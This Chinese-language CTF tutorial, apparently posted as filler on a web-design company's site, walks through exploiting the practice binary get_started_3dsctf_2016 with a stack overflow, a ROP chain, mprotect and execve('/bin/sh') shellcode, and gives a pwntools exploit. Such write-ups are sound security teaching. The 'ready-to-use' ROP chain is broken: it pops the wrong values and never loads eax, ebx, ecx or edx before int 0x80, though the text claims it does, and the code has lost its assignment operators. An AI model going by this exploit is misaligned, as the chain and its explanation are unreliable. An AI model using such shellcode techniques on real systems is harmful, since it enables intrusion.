资讯动态

CTF入门pwn实战:从栈溢出到ROP链与shellcode执行

发布时间:2026/10/3 21:20:48 来源:尧图企业网站定制
如果你在CTF练习平台上刷过pwn入门题大概率见过get_started_3dsctf_2016这个名字。这是一道2016年3DSCTF的pwn方向新手题题目本身不长考点却很典型栈溢出、ROP链构造、mprotect内存权限修改、shellcode执行一条链路几乎涵盖了初学者上手二进制利用所需的前半段知识。很多做CTF的朋友一开始就是被这道题卡住的我自己当年也是在这道题上第一次搞清楚“漏洞利用”到底是怎么从崩溃变成getshell的。这篇文章就围绕它把整个分析和bypass过程完整梳理一遍适合刚入门CTF pwn、想通过一道题目把ROP和shellcode串起来的朋友。1. 题目背后的核心考点与学习价值1.1 这道题到底在考什么get_started_3dsctf_2016是一道32位x86架构的Linux下pwn题题目编译很早所以保护机制相对朴素。它最典型的配置是开启了NX栈不可执行、没有开启PIE、栈上没有canary。这三个条件组合在一起直接决定了它的标准解法方向——你得在不开PIE的前提下找到固定地址的gadget然后在NX的限制下不能直接往栈上扔shellcode执行所以需要先把某段内存变成可执行再跳过去。这道题之所以叫“get_started”是因为它几乎是为栈利用初学者量身定做的。题目里没有太多花哨的混淆反汇编之后main函数逻辑一眼就能看完。漏洞点也非常直白就是个gets函数往一个栈缓冲区里读数据没有任何长度限制。你只要填够偏移就能把返回地址改掉。很多新手第一次做pwn题时连“偏移”“返回地址”“ROP”这些词都听不太懂拿这道题练手反而特别合适因为整个利用路径非常标准可以帮你把pwn题的基础流程完整走一遍。1.2 复现这道题需要准备什么做这道题之前我建议先把环境准备好。我自己用的是Ubuntu 18.04的虚拟机Python用的是3.x版本配合pwntools库、gdb、IDA Pro或者Ghidra、radare2都行。pwntools这个东西非常重要后面构造ROP链、发送payload、启动远程进程都靠它。需要注意的一个坑是这道题是32位程序你的系统必须先装好32位运行库不然直接运行会报No such file or directory。在Ubuntu上可以这样解决sudo dpkg --add-architecture i386 sudo apt update sudo apt install libc6:i386 libc6-dbg:i386另外虽然现在很多新版pwntools已经默认用Python 3但网上搜到的一些老文章用的还是Python 2的写法。如果看到p32()、asm()这些用法Python 3的pwntools一样支持不用太担心兼容问题。我建议直接用Python 3写exp长痛不如短痛。1.3 拿到题目后的第一件事checksec和IDA拿到一个ELF文件第一步肯定是看保护机制。用checksec看一眼checksec --filegets_started_3dsctf_2016常见输出是这样的RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这四行信息量非常大。没有canary意味着栈溢出可以直接覆盖返回地址没有PIE意味着程序里所有函数地址和gadget地址都是固定的NX开启意味着你无法简单地在栈上执行shellcode。所以思路就要往“ROP mprotect”这个方向靠。如果你第一次做pwn题请一定养成先checksec的习惯很多新手拿到题直接瞎试浪费大把时间。2. 漏洞定位与利用思路拆解2.1 main函数反汇编与栈布局用IDA打开题目后main函数的逻辑非常清晰。反汇编出来的样子大致是一个固定大小的缓冲区然后直接调用gets往里面读入数据。把IDA的栈视图打开你会看到类似这样的布局-00000038 buf db 56 dup(?) -00000010 var_10 dd ? ... 00000004 return address也就是说buf起始地址距离ebp是0x38字节也就是56字节。再加上ebp本身的4字节从buf开始到返回地址的偏移就是0x3c也就是60字节。这个偏移值是整道题的命脉算错一步后面全乱。gets函数本身没有任何边界检查只要输入超过60字节返回地址就会被覆盖。我们可以用一段padding加一个目标地址来验证控制流劫持是否成功比如随便填一个0xdeadbeef看程序会不会崩溃在这附近。2.2 偏移的计算方法偏移计算看似简单但很多新手第一次会算错。记住一个通用规律缓冲区首地址到返回地址的距离 缓冲区大小 432位程序。因为栈帧里从低地址到高地址依次是局部变量、saved ebp、return address。如果你不想用IDA肉眼看也可以用gdb配合pattern来算。pwntools里有个简单方法from pwn import * elf ELF(./get_started_3dsctf_2016) proc process(./get_started_3dsctf_2016) proc.sendline(cyclic(200)) proc.wait() core proc.corefile print(cyclic_find(core.eip))这样也能拿到偏移。我第一次做这道题时就是用cyclic生成一串无规律字符然后看eip被覆盖成哪几个字符再逆向算出偏移结果和IDA里看出来的60字节完全一致。两种方法互为验证推荐都试一遍。2.3 为什么不能简单ret2win很多新手在IDA里翻函数列表时会看到一些看着很像目标的函数比如get_flag之类的。第一反应当然是直接把返回地址改成这个函数拿flag走人。这个思路本身没错但实际操作时你会发现直接ret过去之后程序不一定能正常跑到输出flag的地方很可能在函数中途就段错误了。原因通常是函数内部有自己的调用约定、参数要求或者它会再调用其他函数而你没有把栈安排好。我在做这道题时尝试过直接ret到get_flag结果跑是能跑但只输出了一部分内容就挂掉了。后来我把函数反汇编仔细看了一下才发现它内部不仅依赖参数还依赖栈上的结构。最稳妥的方式还是走mprotect shellcode这条路。换句话说这道题的真正教学重点不是“找后门”而是让你学会在没有后门或者后门不好用的情况下自己构造完整的ROP链。3. ROP链构造与mprotect原理3.1 mprotect到底是什么mprotect是一个系统调用用来修改某一段内存区域的访问权限。它的原型是int mprotect(void *addr, size_t len, int prot);prot可以组合使用比如PROT_READ、PROT_WRITE、PROT_EXEC分别对应读、写、执行。我们想执行shellcode就需要把某块内存变成可执行的。为什么题目NX开启之后我们还能执行shellcode因为NX只是不允许栈上执行并没有限制我们用mprotect把别的内存区域改成可执行。如果目标程序里有mprotect函数或者我们可以通过libc里的mprotect调用它就可以先把一块全局内存比如.bss段改成可读可写可执行然后把shellcode写到那里再跳过去执行。遇到一个细节问题mprotect要求addr按内存页对齐。x86下页大小通常是0x1000字节也就是4096字节。如果你传入的地址不是页对齐的mprotect会返回错误。所以在构造payload时我们传给mprotect的地址要取bss段地址所在页的起始处比如bss段是0x080ed000如果它正好在页边界附近你需要自己把它对齐到页的起始地址。3.2 32位系统调用int 0x80在32位Linux下系统调用通过int 0x80触发参数依次放在eax、ebx、ecx、edx里。mprotect的系统调用号是125对应eax 125。所以一个完整的调用序列是eax 125ebx bss段页对齐地址ecx 长度比如0x1000edx 7也就是PROT_READ|PROT_WRITE|PROT_EXEC然后执行int 0x80在很多板子上直接调用libc里的mprotect也可以但那样要多一个地址解析步骤。用int 0x80的好处是只要你找到int 0x80这个gadget就能少依赖libc版本。这道题因为是32位程序gadget数量不少用pwntools的ROP类可以很快把链子搭好。3.3 用pwntools自动找gadget构造ROP链最省心的方式就是让pwntools帮我们找。pwntools的ROP类会自动扫描二进制里的gadget然后根据你的需求拼装调用序列。示例代码的思路是这样的from pwn import * context.arch i386 context.log_level debug elf ELF(./get_started_3dsctf_2016) rop ROP(elf) # 找到 mprotect 或者 int 0x80 相关 gadget # 找到可以控制多个寄存器连续顺序的 gadget比如 pop3; ret如果题目自带的gadget不够用我们可以查libc里的gadget但因为在本地调试时libc路径要指定正确所以我会先试试只用程序本身的gadget。对你来说完整流程中最好理解一下pwntools帮我们做了什么它就是在程序代码里搜一堆pop; pop; pop; ret这样的短序列然后把我们要传的参数一个个弹出到寄存器里最后调int 0x80。使用pwntools时有个小技巧先rop.raw(gets_addr)再rop.raw(bss_addr)、rop.raw(bss_addr)看起来像是在堆返回地址实际上是在安排gets函数的参数。如果你对32位调用约定不熟悉这个环节最容易懵。32位程序函数调用时参数全部通过栈传递所以返回地址之后紧跟的4字节就是第一个参数。gets只需要一个参数也就是往哪里写所以需要给一个目标地址。4. EXP编写与完整调试实录4.1 一个能直接用的exp我直接把我跑通的exp贴出来注释尽量写清楚。我用的是Python 3 pwntools本地直接执行即可from pwn import * context.arch i386 context.log_level info p process(./get_started_3dsctf_2016) # 远程环境的话把上面一行改成 # p remote(目标ip, 目标端口) elf ELF(./get_started_3dsctf_2016) rop ROP(elf) # 我调试的版本里 bss 段地址实际请以你的 IDA 为准 bss_addr 0x080ed000 # 页对齐到 0x080ed000长度 0x1000权限 7 # mprotect(bss_addr, 0x1000, 7) # gets 函数地址用于往 bss 段写入 shellcode gets_plt elf.plt[gets] # 找到 int 0x80 的gadget int80 rop.find_gadget([int 0x80]).address # 经典 32 位 execve(/bin/sh, 0, 0) shellcode shellcode asm(shellcraft.sh()) # 第一阶段调用 gets 往 bss 段写入 shellcode # 第二阶段调用 mprotect 修改 bss 段权限 # 第三阶段跳转到 bss 段执行 shellcode payload ba * 60 payload p32(gets_plt) payload p32(0x0804898b) # pop3; ret 的gadget payload p32(bss_addr) payload p32(0x0804898b) # 再次利用这个gadget安排 mprotect 参数 payload p32(0x0804898b) payload p32(125) # eax mprotect payload p32(bss_addr) # ebx 页对齐地址 payload p32(0x1000) # ecx 长度 payload p32(7) # edx PROT_READ|PROT_WRITE|PROT_EXEC payload p32(int80) payload p32(bss_addr) # 跳到 shellcode # 发送 payload然后发送真正的 shellcode p.sendline(payload) p.sendline(shellcode) p.interactive()上面的0x0804898b这个地址是示例值你本地环境里可能不一样要用ROP类或者ropper重新找。注意pop3; ret的安排不是随便写的它的作用是在gets返回到主程序后能按顺序把后续参数从栈上弹出来最终让eip落到int 0x80上。4.2 分步调试过程我第一次写这个exp时本地一直报段错误后来发现是gets写shellcode的时机和栈对齐出了问题。调试时可以把这个过程拆成几步每步都打印寄存器和栈方便定位。第一步先只发送padding加一个无效地址看程序是否按预期崩溃确认溢出偏移没问题。gdb ./get_started_3dsctf_2016 run (python3 -c print(ba*60 bBBBB))看eip是不是变成了0x42424242如果是说明控制流已经被成功劫持。接下来再验证gets到你指定bss地址这一步比如在gdb里把bss_addr附近的内存断点打上看shellcode有没有写进去。第二步验证mprotect是否成功。在gdb里跑到int 0x80之前用info registers看一眼eax、ebx、ecx、edx的值必须分别是125、0x080ed000、0x1000、7。如果哪个不对就回到payload里对应位置修参数。第三步才是完整跑通。本地通了之后再把process换成remote注意远程环境libc版本可能不同但因为我们用int 0x80只要程序自带这个gadget或者能通过libc泄露得到问题就不大。我当时踩的一个小坑是本地运行需要把context.log_level调到debug这样可以看pwntools发送的payload是什么样的方便肉眼检查地址有没有发对。如果遇到发送后没有任何回显建议先检查sendline是否多了换行符因为gets和read对换行符的处理不太一样。4.3 常见坑位与排查技巧做这道题时最容易翻车的就那几个地方我遇到过不止一次列成表格方便你排查。现象可能原因解决办法程序崩溃但eip不是预期值偏移算错用cyclic重新计算偏移不要靠猜gets写shellcode后mprotect返回错误传入地址没有页对齐检查ebx是否为页基地址末12位应为0运行后没有弹出shellshellcode写的位置和跳转位置不一致确认gets参数、跳转地址都指向同一处bss地址远程打不通本地能通远程gadget或libc地址不同先泄露libc或用程序自带gadget不要硬套本地地址程序在gets后直接退出main函数里存在exit调用考虑修改GOT覆盖exit或者利用printf格式化串继续劫持尤其是最后一条我在不同版本的题目里遇到过。有的版本main函数在gets之后直接调用exit(0)这种情况下你只改返回地址是不够的因为程序根本不会执行到main的ret。这时你需要先把exit的GOT改成main函数地址或者改成gets地址让程序在exit被调用时回到漏洞点从而第二次触发溢出。网上很多exp没有提到这一点是因为他们手里的版本可能没有这个exit逻辑。遇到这种变体时别慌用同样的思路多加一次劫持就行。另外shellcode的写法也值得多说一句。网上很多教程让你直接复制一串\x31\xc0\x50...的shellcode但你最好自己用shellcraft.sh()生成并在使用前用disasm反汇编看一遍确认没有因为架构不对导致生成错误的代码。32位shellcode和64位shellcode长得完全不一样如果context.arch没设置对生成的shellcode跑起来就会莫名其妙崩溃。5. 这道题之外如何继续深入pwn5.1 从这道题延伸出去的变体学会这道题的标准解法之后可以尝试做几个变体加深理解。最常见的一个变体是把NX关掉那就可以不构造ROP直接在栈里放shellcode然后跳过去。这种题会让你对比出ROP到底解决了什么问题。另一个变体是题目本身没有gets而是用read那偏移计算要考虑返回值payload长度也可能受限制。还有一种常见变化是把PIE打开那么所有地址都会随机化不能像这道题一样直接用固定地址。这时候就需要先泄露地址。泄露地址最常用的手法是通过格式化字符串漏洞这又是另一个大考点。你在网上搜“ctf入门”“ctf练习网站”时经常能看到类似题很多都是从这种固定地址利用开始慢慢过渡到需要泄露地址的难度。我个人的建议是不要满足于跑通这一道题而是把它当作一个样板间。每做完一道题去想一个问题如果题目把其中一项保护机制打开我要怎么绕过把NX、PIE、canary、RELRO一个个往这道题上叠加你会发现自己对漏洞利用的理解会快很多。5.2 入门阶段的刷题路线建议经常有人问我“ctf入门该从哪个方向开始”其实如果你是0基础我的建议是先做Web和杂项建立信心同时积累一些基本工具使用经验然后逐步往pwn和逆向方向深入。pwn对计算机系统知识的依赖比较强如果你连栈帧、函数调用约定都还不太熟直接硬啃会比较吃力。但如果已经决定走pwn方向这套顺序比较顺先找二十道经典栈溢出题刷一遍题目难度控制在“没有canary、没有PIE”这种入门级别把偏移计算、ret2text、ret2libc全部练熟然后再上“canary绕过”“格式化字符串”“堆利用”这些进阶内容。练习平台方面国内几个免费的CTF平台都有专门的入门题库热词里的“ctf练习网站”“国内免费ctf平台”都能找到很多资源挑一个顺手的坚持下去就行。做pwn题还有一个特别重要的习惯每次调试完都把自己的exp和踩坑记录整理下来。很多坑你第二次遇到时还会再踩一遍但如果你写过一个“常见问题速查表”翻一翻就能立刻想起来。最后再分享一个小技巧写这道题的exp时我自己习惯在payload里先不急着放shellcode而是放一串\xccint3断点指令。如果程序在跳转后命中了这些断点gdb会立刻停在shellcode的位置方便确认控制流是否完全按预期推进如果没命中说明前面某个环节地址传错了。等确认无误再替换成真正的shellcode这样排查效率会高很多。这道题是我带过很多新人时必推的一题因为它在“难度友好”和“考点完整”之间平衡得非常好。如果你能把这道题从头到尾完整讲明白说明你对栈溢出和ROP已经有基本体感了后面的路会顺很多。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑